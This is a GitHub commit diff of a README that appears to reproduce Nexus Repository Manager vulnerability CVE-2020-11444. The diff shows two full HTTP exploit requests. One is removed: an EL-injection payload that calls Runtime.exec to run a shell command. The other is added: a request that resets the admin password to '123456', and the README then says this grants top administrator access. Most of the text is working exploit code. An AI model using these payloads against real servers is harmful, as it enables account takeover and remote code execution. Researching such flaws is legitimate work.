Skip to content

Commit cd725d1

Browse files
author
“threedr3am”
committed
fix:nexus-CVE-2020-11444
1 parent 964a009 commit cd725d1

File tree

1 file changed

+9
-7
lines changed

1 file changed

+9
-7
lines changed

nexus/CVE-2020-11444/README.md

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -38,22 +38,24 @@ idea创建远程debug-启动
3838
### 6. 调用更新role接口
3939
数据包:
4040
```
41-
POST /service/extdirect HTTP/1.1
41+
PUT /service/rest/beta/security/users/admin/change-password HTTP/1.1
4242
Host: 127.0.0.1:8081
43-
Content-Length: 301
43+
Content-Length: 6
4444
accept: application/json
4545
Sec-Fetch-Dest: empty
4646
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
47-
NX-ANTI-CSRF-TOKEN: 0.16936373694860252
48-
Content-Type: application/json
47+
NX-ANTI-CSRF-TOKEN: 0.6080434247960143
48+
Content-Type: text/plain
4949
Origin: http://127.0.0.1:8081
5050
Sec-Fetch-Site: same-origin
5151
Sec-Fetch-Mode: cors
5252
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
5353
Accept-Encoding: gzip, deflate, br
5454
Accept-Language: zh-CN,zh;q=0.9
55-
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.16936373694860252; NXSESSIONID=4e5437b3-7755-4784-bda6-d004e8f589fb
55+
Cookie: NX-ANTI-CSRF-TOKEN=0.6080434247960143; NXSESSIONID=af3706e2-dc9e-47fa-9739-edb6b3d512fe
5656
Connection: close
5757
58-
{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"www@qq.com","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"]}],"type":"rpc","tid":9}
59-
```
58+
123456
59+
```
60+
61+
### 7. 使用admin & 123456登陆,获得最高管理员权限

0 commit comments

Comments
 (0)